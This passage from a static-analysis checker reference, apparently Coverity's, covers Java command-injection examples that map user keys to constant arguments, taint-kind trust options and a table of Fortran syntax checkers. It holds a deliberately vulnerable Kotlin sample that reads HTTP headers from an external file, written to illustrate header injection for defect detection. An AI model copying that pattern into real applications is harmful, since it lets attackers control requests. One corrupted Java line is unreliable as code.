command.exec(untaintedArray);

```

#### Progression of the security issue:

- `CommandConstants.java` (13): A map of user keys to commands is created.
- `CommandServlet.java` (103): A tainted value, `outputFile`, is passed into the method.
- `CommandServlet.java` (108): The tainted value is checked against the map. If the tainted value equals a key such as `all`, a constant value is returned.
- `CommandServlet.java` (111): The untainted value is included in a static array.
- `CommandServlet.java` (112): The static array is passed to `Runtime.exec(String[])`.

#### 6.6.3.6. OS Command Injection Unsafe: ProcessBuilder

The following example uses indirect references through a `HashMap` to directly use static commands for the application.

### CommandConstants.java

```

11 public class CommandConstants {
...
14 public static final Map<String, String> FIND_ARGS = initializeFindList();
...
25 private static Map<String, String> initializeFindList() {
26 Map<String, String> m = new HashMap<String, String>();
27 m.put("alllogs", "*.log");
28 m.put("allreports", "report-*.txt");
29 // ...
30 return java.util.Collections.unmodifiableMap(m);
31 }

```

**CommandServlet.java**

```

12 public class CommandServlet extends HttpServlet {
...
167 private void findFile(String fileName, PrintWriter out)
168 throws RuntimeException {
169
170 try {
171
172 String untaintedArg = CommandConstants.FIND_ARGS.get(fileName);
173 if (tainted commanduntaintedArg != null) {
174
175 String[] untaintedArray = new String[] {"/usr/bin/find", ".", "-
name",
 untaintedArg};
176 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
177 Process proc = pb.start();

```

**Progression of the security issue:**

- `CommandConstants.java` (14): A map of user keys to commands is created.
- `CommandServlet.java` (167): A tainted value, `fileName`, is passed into the method.
- `CommandServlet.java` (172): The tainted value is checked against the map. If the tainted value equals a key such as `alllogs`, a constant value is returned.
- `CommandServlet.java` (175): The untainted value is included in a static array.
- `CommandServlet.java` (176): The static array is passed to `ProcessBuilder(String...)`.

**6.6.3.7. OS Command Injection Option: Runtime.exec**

The following example uses indirect references through a `Map` to supply a constant option argument to the application.

**CommandConstants.java**

```

11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
65 return java.util.Collections.unmodifiableMap(m);
66 }

```

**CommandServlet.java**

```
12 public class CommandServlet extends HttpServlet {
...
338 private void runCommandWithOption(String optionString, PrintWriter out)
339 throws RuntimeException {
340
341 try {
342
343 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
344 if (untaintedOption != null) {
345
346 String[] untaintedArray = new String[] {"someCommand.exe",
347 untaintedOption, "/O", "output.txt"};
348
349 Process proc = Runtime.getRuntime().exec(untaintedArray);
```

#### Progression of the security issue:

- `CommandConstants.java` (17): A map of user keys to commands is created.
- `CommandServlet.java` (338): A tainted value, `optionString`, is passed into the method.
- `CommandServlet.java` (343): The tainted value is checked against the map. If the tainted value equals a key such as `one`, a constant value is returned.
- `CommandServlet.java` (346): The untainted value is included in a static array.
- `CommandServlet.java` (348): The static array is passed to `Runtime.exec(String[])`.

#### 6.6.3.8. OS Command Injection Option: `ProcessBuilder`

The following example uses indirect references through a `Map` to supply a constant option argument to the application.

##### `CommandConstants.java`

```
11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
65 return java.util.Collections.unmodifiableMap(m);
66 }
```

##### `CommandServlet.java`

```
12 public class CommandServlet extends HttpServlet {
...
371 private void runCommandWithOption(String optionString, PrintWriter out)
```

```
372 throws RuntimeException {
373
374 try {
375
376 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
377 if (untaintedOption != null) {
378
379 String[] untaintedArray = new String[] {"someCommand.exe",
380 untaintedOption, "/O", "output.txt"};
381
382 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
383 Process proc = pb.start();
384 }
385 }
386 }
```

### Progression of the security issue:

- `CommandConstants.java` (17): A map of user keys to commands is created.
- `CommandServlet.java` (371): A tainted value, `optionString`, is passed into the method.
- `CommandServlet.java` (376): The tainted value is checked against the map. If the tainted value equals a key such as `one`, a constant value is returned.
- `CommandServlet.java` (379): The untainted value is included in a static array.
- `CommandServlet.java` (381): The static array is passed to `ProcessBuilder(String...)`.

## 6.7. Security Commands

The security analysis process consists of using a series of commands to set up and run the analysis, then push (commit) the resulting issue reports to Coverity Connect, where you can view and manage them.

### Java Web application security analysis

This process requires the use of some commands and options that differ from those used in typical quality analysis. See [Running a Security Analysis on a Java Web Application](#) in the *Coverity Analysis User and Administration Guide*. Note that you can run parallel and incremental analysis, as well as create custom models of your methods. For details, see [Using advanced Java analysis techniques](#). Note that parallel analysis does not expedite a Java security analysis, but it can increase the speed of the overall analysis if you are also running non-security checkers (for example, quality checkers).

### C/C++ security analysis

This process is identical to a C/C++ quality analysis. See *Coverity Analysis User and Administration Guide* for guidance.

The following commands are commonly used as part of the security analysis process. See *Coverity Analysis User and Administration Guide* for a complete list of commands.

- `cov-analyze`

- [cov-build](#)
- [cov-commit-defects](#)
- [cov-configure](#)
- [cov-emit-java](#)
- [cov-make-library](#)

### 6.7.1. C/C++ commands

- [cov-analyze](#)
- [cov-emit](#) (does not normally require manual execution)

## 6.8. Tainted Data Overview

### 6.8.1. Tainted Data Concepts

Some kinds of data can be dangerous for programs to consume, and lead to system crashes, corruption, escalation of privileges, or denial of service. If the data is passed through a filter, or sanitizer, it can be made safe for consumption. Security checkers which look for these kinds of issues identify potentially dangerous data as **tainted data**. Tainted data can come from a number of different kinds of sources, such as user input, network connections, and filesystems or databases.

Based on the origin of the data, tainted data has a particular **taint kind**: filesystem, network, etc. A tainted data checker can be configured to **distrust** only certain taint kinds, and **trust** the others. For example, network connections could be considered dangerous by distrusting the network taint kind, while filesystem contents could be considered safe by trusting the filesystem taint kind.

For best results, the default configuration of our checkers will trust certain taint kinds that are less likely to be dangerous in practice. The default trust model for a checker can be changed to trust or distrust a particular taint kind by changing the analysis settings, both globally for all tainted data checkers, and also via checker options for affecting a specific checker.

A separate topic, *sensitive data*, deals with data which should be managed as a secret, but is not necessarily dangerous, such as personal, business, and classified information. Data can be considered sensitive independently of whether it is considered tainted. Checkers are typically concerned with only one of the two aspects and ignore the other aspect. For more information on sensitive data, see Section 6.9, “Sensitive Data Overview”

### 6.8.2. Taint Example

Let's look at the `HEADER_INJECTION` checker. In this example, an attacker could control the HTTP headers of the request sent to the server, if they have control over the contents of the file "saved-extra-headers.txt". In this example, the tainted data has taint kind **filesystem**. By default configuration, the `HEADER_INJECTION` checker trusts this taint kind, so this issue would not be

reported. To report this defect, the `HEADER_INJECTION` trust model can be changed to distrust the filesystem taint kind by running **cov-analyze** with the following option: `--checker-option HEADER_INJECTION:trust_filesystem:false`.

Another approach is to run `cov-analyze` with the option `--distrust_filesystem`

```
class Test : Activity() {
 fun loadFunPage(context: Context, webView: WebView, additionalHeaders:
 MutableMap<String, String>) {
 val file = File(context.getExternalFilesDir(null), "saved-extra-headers.txt")
 val content = file.readText()

 for (pair in content.split(",")) {
 val (key, value) = pair.split("=")
 additionalHeaders[key] = value
 }

 webView.loadUrl("www.fun.com", additionalHeaders)
 }
}
```

### 6.8.3. Taint Kind Trust Options

The default trust models used by Coverity checkers are intended to give the best results by avoiding false positives. But you can customize the model to fit your needs and to focus on the type of tainted data you want to trust or distrust. This will let you fine tune results.

There are several different kinds of options available for **cov-analyze** and **cov-run-desktop** to customize the trust model. For example, to affect the "cookie" taint kind under the `HEADER_INJECTION` checker:

- `--trust-all` or `--distrust-all` (affects all the taint kinds across all the checkers)
- `--trust-cookie` or `--distrust-cookie` (affects the "cookie" taint kind across all the checkers)
- `--checker-option HEADER_INJECTION:trust_cookie:true` (trusts the "cookie" taint kind for `HEADER_INJECTION`, overriding `--distrust-cookie` or `--distrust-all` if also specified)
- `--checker-option HEADER_INJECTION:trust_cookie:false` (distrusts the "cookie" taint kind for `HEADER_INJECTION`, overriding `--trust-cookie` or `--trust-all` if also specified)

Security analysis tool benchmarks often take the point of view that every kind of tainted data should be distrusted. In that case, use the `--distrust-all` **cov-analyze** option to distrust all taint kinds. (Also note that the `--webapp-security--agressiveness-level high` option includes the effect of `--distrust-all`).

See individual checkers or Chapter 3, for checker-specific options, defaults and languages.

### 6.8.4. Taint Kind Groups

Taint kinds can be grouped into several categories: server-side, web browser based and mobile. Tainted data checkers are not always interested in taint kinds from all the categories. For example, the

`ANGULAR_EXPRESSION_INJECTION` checker reports a defect in code that uses an untrusted value as part of an AngularJS expression. It only cares about web browser based and mobile taint kinds but not server-side taint kinds.

### 6.8.5. Modelling Taint Sources

Program sources of tainted data can be indicated by two means:

- See Chapter 5. Models, Annotations, and Primitives for how to indicate sources of tainted data using Models.
- In the *Security Directive Reference*, the following sections have information about locating tainted sources:
  - “Uses of directives”
  - “method\_returns\_tainted\_data”
  - “tainted\_data”

For an overview of using directives, see Section 1.3.2.4, “Security analysis directives (JSON)”.

### 6.8.6. Types of Tainted Data

There are three categories related to taint kind:

- Server-side applications
- Web browser based applications
- Mobile applications

For examples of each type of tainted data, see the Command Reference, `cov-analyze` command, Web and mobile application security section, `--distrust-<taintkindname>` .

**Table 6.1. Server-side applications Taint Kinds**

Server-side applications	The following taint kinds are relevant to server-side Web applications and other server-side applications
cookie	Data from HTTP cookies.
command_line	Data from the command line.
console	Data from the console.
database	Data from a database.
environment	Data from environment variables.
filesystem	Data read from a file.
http	Data from incoming HTTP requests.
http_header	Data from HTTP headers.

<b>Server-side applications</b>	<b>The following taint kinds are relevant to server-side Web applications and other server-side applications</b>
network	Data from network connections. This does not include data from incoming HTTP requests or remote procedure calls.
rpc	Data returned from remote procedure calls (RPC).
system_properties	Data on system properties.

**Table 6.2. Web browser based applications Taint Kinds**

<b>Web browser based applications</b>	<b>The following taint kinds are relevant to client-side JavaScript code (that is, JavaScript that runs in a Web browser)</b>
js_client_cookie	Data from the JavaScript document.cookie.
js_client_external	Data from the response to an XMLHttpRequest or similar.
js_client_html_element	Data from user input on HTML elements such as text area and input elements.
js_client_http_referer	Data from the 'referer' HTTP header (from document.referrer).
js_client_http_header	Data from the HTTP response header of the response to an XMLHttpRequest or similar.
js_client_other_origin	Data from content in another frame or from another origin, for instance, from <i>window.name</i> .
js_client_url_query_or_fragment	Data from the query or fragment part of the URL, for instance, location.hash or location.query.

**Table 6.3. Mobile applications Taint Kinds**

<b>Mobile applications</b>	<b>The following taint kinds are relevant to mobile applications:</b>
mobile_other_app	Data received from any mobile application that does not require a permission to communicate with the current application component.
mobile_other_privileged_app	Data received from any mobile application that requires a permission to communicate with the current application component.
mobile_same_app	Data received from the same mobile application.
mobile_user_input	Data obtained from user inputs into a mobile application.

## 6.9. Sensitive Data Overview

### 6.9.1. Sensitive Data Concepts

Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and Personal Identifying Information (PII). Attackers can steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data might be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

Checkers such as SENSITIVE\_DATA\_LEAK, UNENCRYPTED\_SENSITIVE\_DATA, and WEAK\_PASSWORD\_HASH are concerned with identifying sources of sensitive data and how the data is used.

There are a number of different categories of sensitive data, which can be a factor in determining how a program is expected to handle sensitive data.

For more information on sensitive data types and modeling sensitive data sources, see Table 4.5, “Sensitive Data Source types”.

A separate topic, *tainted data*, deals with data controlled by an attacker. Checkers that are concerned with sensitive data do not deal with trusting/distrusting tainted data, and vice-versa, checkers that are concerned with distrusted tainted data are not affected by the sensitivity of data. (See Section 6.8, “Tainted Data Overview”).

---

## Chapter 7. Coverity Fortran Syntax Analysis Checker Reference

Coverity Fortran Syntax Analysis emulates the Fortran language syntax analysis of the configured compiler and selected language standard. It reports deviations from the language that the configured compiler will accept, including language extensions that are not implemented and syntax that has been deprecated or removed according to the selected language standard.

In addition to syntax checking, Coverity Fortran Syntax Analysis performs local and global static consistency checks. These checks include type and signature verification. Static bounds checking and some data validity checking is also performed. Data validity checking is based on a lexical ordering of statement execution, so false-positive messages are possible in the presence of loops and other backward jumps.

The syntax analysis includes over 800 distinct checkers, each of which looks for a specific syntax error or coding defect. These checkers are listed below in tabular form.

**Table 7.1. Coverity Fortran Syntax Analysis Checkers (40-199)**

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.040	Syntax error	a ';' must not be the first non-blank character on a line
FC.041	Syntax error	invalid line
FC.042	Syntax error	first line must not be a continuation line
FC.043	Syntax error	invalid characters in front of continuation line
FC.044	Portability	first line after an INCLUDE line must not be a continuation line
FC.045	Portability	too many continuation lines
FC.046	Syntax error	unrecognized characters at end of statement
FC.047	Portability	statement field empty, CONTINUE assumed
FC.048	Syntax error	invalid characters in label field of statement
FC.049	Portability	continuation character not in Fortran character set
FC.050	Portability	lower case character(s) used
FC.051	Portability	nonstandard Fortran comment used
FC.052	Portability	conditional compilation or D_line(s) used

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.053	Portability	tab(s) used
FC.054	Portability	form-feed(s) used
FC.055	Portability	include line(s) used
FC.056	Syntax error	unbalanced delimiters
FC.057	Syntax error	invalid filename specification
FC.058	Unused entity	none of the entities, declared in the include file, is used
FC.059	Portability	character constant split over more than one line
FC.060	Nonstandard syntax	fixed source form used
FC.061	Information	no statement found in program unit
FC.062	Portability	continuation character missing
FC.063	Information	unrecognized characters after compiler directive
FC.064	Portability	Too many characters in source line
FC.065	Information	continued character constant has more than one leading blank
FC.066	Information	comment line(s) within statement
FC.069	Syntax error	unrecognized statement
FC.070	Information	ambiguous statement. Type statement assumed
FC.071	Portability	nonstandard Fortran statement
FC.072	Syntax error	statement not allowed in MAIN
FC.073	Syntax error	statement not allowed in BLOCKDATA
FC.074	Syntax error	statement not allowed within the specification part of a (sub)module
FC.075	Syntax error	this statement can only be used within a construct
FC.076	Syntax error	this statement can only be used within a loop construct
FC.077	Syntax error	statement not allowed within this context
FC.078	Syntax error	statement out of order

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.079	Syntax error	type specification out of order
FC.080	Portability	non-DATA specification statements must precede DATA statements
FC.081	Syntax error	no shape specified, or statement function out of order
FC.082	Syntax error	this statement cannot have prefixes
FC.083	Syntax error	internal or module procedure expected
FC.084	Dead code	no path to this statement
FC.085	Syntax error	procedure END missing
FC.086	Syntax error	program unit END missing
FC.087	Syntax error	non-matching program unit or subprogram type in END
FC.088	Syntax error	non-matching name in END
FC.089	Syntax error	missing delimiter or separator
FC.090	Syntax error	unmatched parentheses
FC.091	Syntax error	missing parenthesis
FC.092	Syntax error	')' expected
FC.093	Syntax error	'/' expected
FC.094	Syntax error	syntax error
FC.095	Portability	nonstandard Fortran syntax
FC.096	Portability	obsolescent Fortran feature
FC.097	Portability	PARAMETER statement within STRUCTURE
FC.098	Portability	deleted Fortran feature
FC.099	Portability	DATA statement among executable statements
FC.100	Syntax error	statement not allowed within a pure procedure
FC.101	Syntax error	statement not allowed within an interface block
FC.102	Syntax error	statement only allowed within an interface block
FC.103	Syntax error	statement only allowed within the spec. part of a (sub)module

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.104	Syntax error	statement only allowed in interface block or spec. part of subprog.
FC.105	Syntax error	statement not allowed within a BLOCK construct
FC.106	Syntax error	lexical token contains blank(s)
FC.107	Syntax error	blank required in free source form
FC.108	Portability	use a blank to delimit this token
FC.109	Information	lexical token contains non-significant blank(s)
FC.110	Portability	name or operator too long
FC.111	Syntax error	operator name must consist of letters only
FC.112	Portability	name is not unique if truncated to six characters
FC.113	Syntax error	invalid name
FC.114	Syntax error	statement label too long
FC.115	Multiple declaration of entity	multiple definition of statement label, this one ignored
FC.116	Incorrect usage of entity	statement label already in use
FC.117	Incorrect usage of entity	statement label type conflict
FC.118	Incorrect usage of entity	invalidly referenced
FC.119	Incorrect usage of entity	invalid reference
FC.120	Code improvement	referenced from outside entry block
FC.121	Syntax error	statement label invalid
FC.122	Syntax error	format statement label missing
FC.123	Undefined entity	undefined statement label
FC.124	Unused entity	statement label unreferenced
FC.125	Unused entity	format statement unreferenced
FC.134	Syntax error	missing apostrophe or quote
FC.135	Syntax error	zero length character constant
FC.136	Syntax error	invalid binary, octal or hexadecimal constant

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.137	Syntax error	kind type parameter of real constant not allowed for this exponent
FC.138	Syntax error	invalid complex constant
FC.139	Syntax error	invalid Hollerith or Radix constant
FC.140	Syntax error	missing character to escape in C-string
FC.141	Incorrect usage of entity	invalid usage of named constant
FC.142	Syntax error	real or integer constant expected
FC.143	Portability	character length too large
FC.144	Syntax error	number too large
FC.145	Implicit type conversion	implicit conversion of scalar to complex
FC.146	Syntax error	unsigned nonzero integer expected
FC.147	Syntax error	unsigned integer expected
FC.148	Syntax error	positive integer expected
FC.149	Syntax error	integer too large for its kind
FC.150	Syntax error	integer larger than default
FC.151	Syntax error	invalid or unrecognized attribute
FC.152	Superfluous specification	PRIVATE is already the default
FC.153	Superfluous specification	PUBLIC is already the default
FC.154	Syntax error	implicit type already used; type declaration must confirm this type
FC.155	Syntax error	conflict with generic name
FC.156	Syntax error	conflict with derived-type name
FC.157	Syntax error	invalid usage of subscripts or substring
FC.158	Syntax error	already specified PUBLIC
FC.159	Syntax error	name already in use
FC.160	Incorrect usage of entity	invalid usage of variable
FC.161	Syntax error	scalar variable name expected
FC.162	Syntax error	named scalar expected
FC.163	Syntax error	no array allowed
FC.164	Syntax error	missing array or shape specification

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.165	Syntax error	invalid shape specification
FC.166	Syntax error	missing array subscripts
FC.167	Syntax error	invalid usage of subscripts or bounds
FC.168	Syntax error	invalid number of subscripts or bounds
FC.169	Syntax error	invalid shape bounds
FC.170	Syntax error	shape specification out of order
FC.171	Syntax error	multiple specification of shape
FC.172	Syntax error	invalid array or coarray specification
FC.173	Syntax error	invalid usage of assumed-size array specification
FC.174	Syntax error	invalid usage of assumed-size array name
FC.175	Syntax error	invalid usage of adjustable-array dimension
FC.176	Syntax error	invalidly used in adjustable or automatic array declaration
FC.177	Syntax error	deferred- or assumed-shape array specification not allowed
FC.178	Syntax error	deferred-shape array specification required
FC.179	Syntax error	explicit-shape array specification required
FC.180	Syntax error	invalid usage of automatic-array specification
FC.181	Syntax error	invalid usage of assumed length
FC.182	Syntax error	invalid usage of adjustable-length specification
FC.183	Syntax error	invalid length or kind specification, default assumed
FC.184	Syntax error	multiple specification of attribute
FC.185	Syntax error	invalid combination of attributes
FC.186	Syntax error	attribute not allowed in this context
FC.187	Syntax error	invalid to (re)define type or attribute

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.188	Syntax error	OPTIONAL and INTENT only allowed for dummy arguments
FC.189	Syntax error	already specified PRIVATE
FC.190	Syntax error	type parameter not allowed for this type
FC.191	Syntax error	invalid specification of type parameters
FC.192	Syntax error	invalid usage of type parameters
FC.193	Superfluous specification	already specified in host context
FC.194	Unsupported	unsupported type length, default assumed
FC.195	Syntax error	type length invalidly specified
FC.196	Syntax error	initialization only allowed in attributed form of type spec.
FC.197	Syntax error	a named constant cannot have the POINTER, TARGET, or BIND attribute
FC.198	Syntax error	constant expected
FC.199	Syntax error	missing parentheses

**Table 7.2. Coverity Fortran Syntax Analysis Checkers (200-399)**

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.200	Syntax error	constant expression missing
FC.201	Syntax error	entity must have been explicitly declared previously
FC.202	Multiple declaration of entity	multiple specification of type, this one ignored
FC.203	Syntax error	name invalidly typed
FC.204	Syntax error	implicit type already used, change sequence
FC.205	Syntax error	implicit properties already used, statement out of order
FC.206	Syntax error	invalid implicit range
FC.207	Syntax error	multiple implicit type declaration, this one ignored
FC.208	Code improvement	name not explicitly typed, implicit type assumed

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.209	Information	conflict with IMPLICIT NONE specification or DECLARE option
FC.210	Syntax error	SAVE has already been specified for this entity
FC.211	Syntax error	SAVE and AUTOMATIC cannot be specified both
FC.212	Syntax error	invalid to save this entity
FC.213	Syntax error	SAVE or BIND specified but entity not declared
FC.214	Syntax error	not saved
FC.215	Syntax error	already specified automatic, static or allocatable
FC.216	Syntax error	invalidly specified automatic, static or allocatable
FC.217	Syntax error	conflict with program unit or ENTRY name
FC.218	Syntax error	conflict with common-block name
FC.219	Syntax error	invalidly in COMMON, EQUIVALENCE, or NAMELIST
FC.220	Syntax error	invalid initialization of entity in DATA or type statement
FC.221	Syntax error	more than once in BLOCKDATA
FC.222	Syntax error	mixing of character and numeric types in COMMON BLOCK
FC.223	Syntax error	initialization of named COMMON should be in BLOCKDATA
FC.224	Syntax error	invalid initialization of variable in blank COMMON
FC.225	Syntax error	more than once in COMMON
FC.226	Portability	objects not in descending order of type size
FC.227	Code improvement	extension of COMMON
FC.228	Code improvement	size of common block inconsistent with first declaration
FC.229	Code improvement	type in COMMON inconsistent with first declaration
FC.230	Code improvement	list of objects in named COMMON inconsistent with first declaration

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.231	Code improvement	array bounds differ from first occurrence
FC.232	Code improvement	only specified once
FC.233	Code improvement	common block inconsistently included from include file(s)
FC.234	Syntax error	invalid equivalence with object in COMMON
FC.235	Syntax error	equivalence of variable to itself
FC.236	Syntax error	storage allocation conflict due to multiple equivalences
FC.237	Portability	equivalence of arrays with possibly different type lengths
FC.238	Syntax error	invalid storage association of object with a pointer component
FC.239	Syntax error	invalid extension of COMMON through EQUIVALENCE
FC.240	Code improvement	extension of COMMON through EQUIVALENCE
FC.241	Code improvement	nonstandard mixing of types in EQUIVALENCE
FC.242	Syntax error	more constants than variables
FC.243	Syntax error	more variables than constants
FC.244	Syntax error	more than once initialized in DATA or type statement
FC.245	Syntax error	no expression allowed
FC.247	Code improvement	assumed-length character functions are obsolescent
FC.248	Code improvement	object already used, change statement sequence
FC.249	Code improvement	list of objects in blank COMMON inconsistent with first declaration
FC.250	Code improvement	when referencing modules implicit typing is potentially risky
FC.251	Syntax error	SAVE has already been specified for each entity in this scoping unit
FC.252	Syntax error	a private object must not be placed in a public namelist group

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.253	Portability	common-block data not retained: specify in root or save it
FC.254	Portability	public module data not retained: specify in root or save it
FC.255	Undeclared entity	derived type or structure undefined
FC.256	Syntax error	statement invalid within derived type or structure definition
FC.257	Syntax error	derived type or structure name missing
FC.258	Syntax error	invalid structure nesting
FC.259	Syntax error	missing END TYPE or END STRUCTURE
FC.260	Syntax error	missing END UNION
FC.261	Syntax error	missing END MAP
FC.262	Syntax error	invalid usage of record or aggregate field name
FC.263	Syntax error	component or field name missing
FC.264	Undeclared entity	unknown component, field name, or type parameter
FC.265	Syntax error	derived type must be of sequence type
FC.266	Syntax error	derived type or components must be PRIVATE
FC.267	Syntax error	no fields specified in structure definition
FC.268	Syntax error	incorrect number of component specs in structure-constructor
FC.269	Syntax error	malformed structure component
FC.270	Syntax error	derived-type component(s) or binding(s) inaccessible
FC.271	Syntax error	derived-type is inaccessible
FC.272	Syntax error	an object of a PRIVATE type cannot be PUBLIC
FC.273	Syntax error	invalid usage of structure- component or type-parameter
FC.274	Syntax error	initialization of component or field not allowed

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.275	Syntax error	derived-type of object must be sequence or have the BIND attribute
FC.276	Code improvement	derived type or structure inconsistently included from include file
FC.277	Syntax error	component must be allocatable
FC.279	Syntax error	invalid usage of derived-type name
FC.280	Syntax error	no type parameter, or inaccessible component
FC.281	Undeclared entity	unknown type-bound procedure
FC.282	Syntax error	the parent type must be extensible
FC.283	Syntax error	invalid sequence of operators
FC.284	Incorrect usage of entity	not allocated
FC.285	Incorrect expression	scalar integer constant expression expected
FC.286	Undefined entity	undefined when entered through ENTRY, specify SAVE to retain data
FC.287	Syntax error	scalar integer constant name expected
FC.288	Syntax error	scalar integer variable name expected
FC.289	Syntax error	scalar integer variable expected
FC.290	Syntax error	constant or scalar integer variable expected
FC.291	Syntax error	unsigned nonzero integer expected
FC.292	Incorrect expression	expression expected
FC.293	Incorrect expression	constant expression expected
FC.294	Incorrect expression	integer expression expected
FC.295	Syntax error	scalar integer or real variable expected
FC.296	Incorrect expression	NULL() or target expected
FC.297	Incorrect expression	integer, logical, or character expression expected

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.298	Incorrect expression	integer or character expression expected
FC.299	Incorrect expression	logical expression expected
FC.300	Incorrect expression	character constant or unsigned integer constant expected
FC.301	Incorrect expression	character expression expected
FC.302	Incorrect expression	character substring must not be zero sized in this context
FC.303	Incorrect expression	scalar logical expression expected
FC.304	Incorrect expression	scalar integer expression expected
FC.305	Incorrect expression	scalar integer or real expression expected
FC.306	Incorrect expression	array expected
FC.307	Undefined entity	variable not defined
FC.308	Undefined entity	no statement label assigned to this variable
FC.309	Undefined entity	possibly no statement label assigned to this variable
FC.310	Code improvement	label assigned to dummy argument or variable in COMMON
FC.311	Code improvement	both a numeric value and label assigned to this variable
FC.312	Undefined entity	no value assigned to this variable
FC.313	Undefined entity	possibly no value assigned to this variable
FC.314	Information	possible change of initial value
FC.315	Information	redefined before referenced
FC.316	Code improvement	not locally defined, specify SAVE in the module to retain data
FC.317	Incorrect usage of entity	entity imported from more than one module: do not use
FC.318	Incorrect usage of entity	not allocated
FC.319	Code improvement	not locally allocated, specify SAVE in the module to retain data
FC.320	Undefined entity	pointer not associated

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.321	Undefined entity	pointer not associated
FC.322	Undefined entity	target not associated with a pointer
FC.323	Unused entity	variable unreferenced
FC.324	Unused entity	variable unreferenced as statement label
FC.325	Unused entity	input variable unreferenced
FC.326	Unused entity	entity, declared in include file, not used
FC.327	Syntax error	subscript out of range
FC.328	Information	array, array extent, or character variable is zero sized
FC.329	Syntax error	substring expression out of range
FC.330	Syntax error	invalid substring
FC.331	Syntax error	invalid usage of substring
FC.332	Syntax error	referenced character elements defined
FC.333	Incorrect expression	division by zero
FC.334	Incorrect expression	invalid power execution
FC.335	Incorrect expression	types do not conform
FC.336	Incorrect expression	typeless data used in invalid context
FC.337	Non-optimal type conversion	implicit conversion to shorter type
FC.338	Information	character variable padded with blanks
FC.339	Incorrect expression	integer overflow in expression
FC.340	Code improvement	equality or inequality comparison of floating point data
FC.341	Code improvement	eq. or ineq. comparison of floating point data with integer
FC.342	Code improvement	eq. or ineq. comparison of floating point data with zero constant
FC.343	Implicit type conversion	implicit conversion of complex to scalar
FC.344	Implicit type conversion	implicit conversion of constant (expression) to higher accuracy

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.345	Non-optimal type conversion	implicit conversion to less accurate type
FC.346	Implicit type conversion	implicit conversion of integer to real
FC.347	Non-optimal type conversion	non-optimal explicit type conversion
FC.348	Incorrect expression	invalid usage of logical operator
FC.349	Incorrect expression	invalid usage of relational operator
FC.350	Incorrect expression	invalid mixed mode expression
FC.351	Incorrect expression	invalid usage of operator
FC.352	Nonstandard syntax	nonstandard operator
FC.353	Incorrect expression	undefined operator
FC.354	Incorrect expression	invalid concatenation with character variable of assumed length
FC.355	Incorrect expression	array-section specification invalid for assumed-shape array
FC.356	Incorrect expression	array section specified incorrectly
FC.357	Incorrect expression	no array section allowed in this context
FC.358	Incorrect expression	invalid stride
FC.359	Incorrect expression	array has invalid rank
FC.360	Incorrect expression	each element in an array constructor must be of the same decl. type
FC.361	Incorrect expression	each element in an array constructor must have the same type length
FC.362	Incorrect expression	vector-valued subscript not allowed in this context
FC.363	Incorrect expression	array does not conform to expression, other arguments or target
FC.364	Incorrect expression	arrays do not conform
FC.365	Incorrect usage of entity	only nonproc.pointers and allocatable variables can be (de)allocated

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.366	Syntax error	defined assignment not allowed in this context
FC.367	Syntax error	pointer assignment expected
FC.368	Syntax error	invalid usage of pointer assignment
FC.369	Syntax error	invalid assignment to pointer
FC.370	Syntax error	invalid target for a data pointer
FC.371	Syntax error	only pointers can be nullified
FC.372	Syntax error	target must have the same rank as the pointer
FC.373	Syntax error	shape of variable differs from the shape of the mask expression
FC.374	Syntax error	assignment of array expression to scalar
FC.375	Incorrect expression	integer overflow in assignment
FC.376	Incorrect expression	scalar integer variable name expected
FC.377	Incorrect expression	scalar integer expression expected
FC.378	Code improvement	pointer not locally associated, specify SAVE in the module
FC.379	Incorrect usage of entity	invalid operation on a non-local variable in a pure procedure
FC.380	Incorrect expression	shape of mask expression differs from shape of outer WHERE construct
FC.381	Undefined entity	none of the equivalenced variables of the same type is defined
FC.382	Unused entity	none of the equivalenced variables of the same type referenced
FC.383	Non-optimal type conversion	truncation of character constant (expression)
FC.384	Non-optimal type conversion	truncation of character variable (expression)
FC.385	Syntax error	invalid usage of construct name
FC.386	Syntax error	construct name expected

Coverity Fortran Syntax Analysis Checker Reference

---

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.387	Syntax error	non-matching construct name
FC.388	Syntax error	invalid construct nesting
FC.389	Syntax error	invalid statement in logical IF
FC.390	Syntax error	statement not allowed within a construct
FC.391	Syntax error	too many ENDIF's
FC.392	Syntax error	ELSE must be between IF and ENDIF
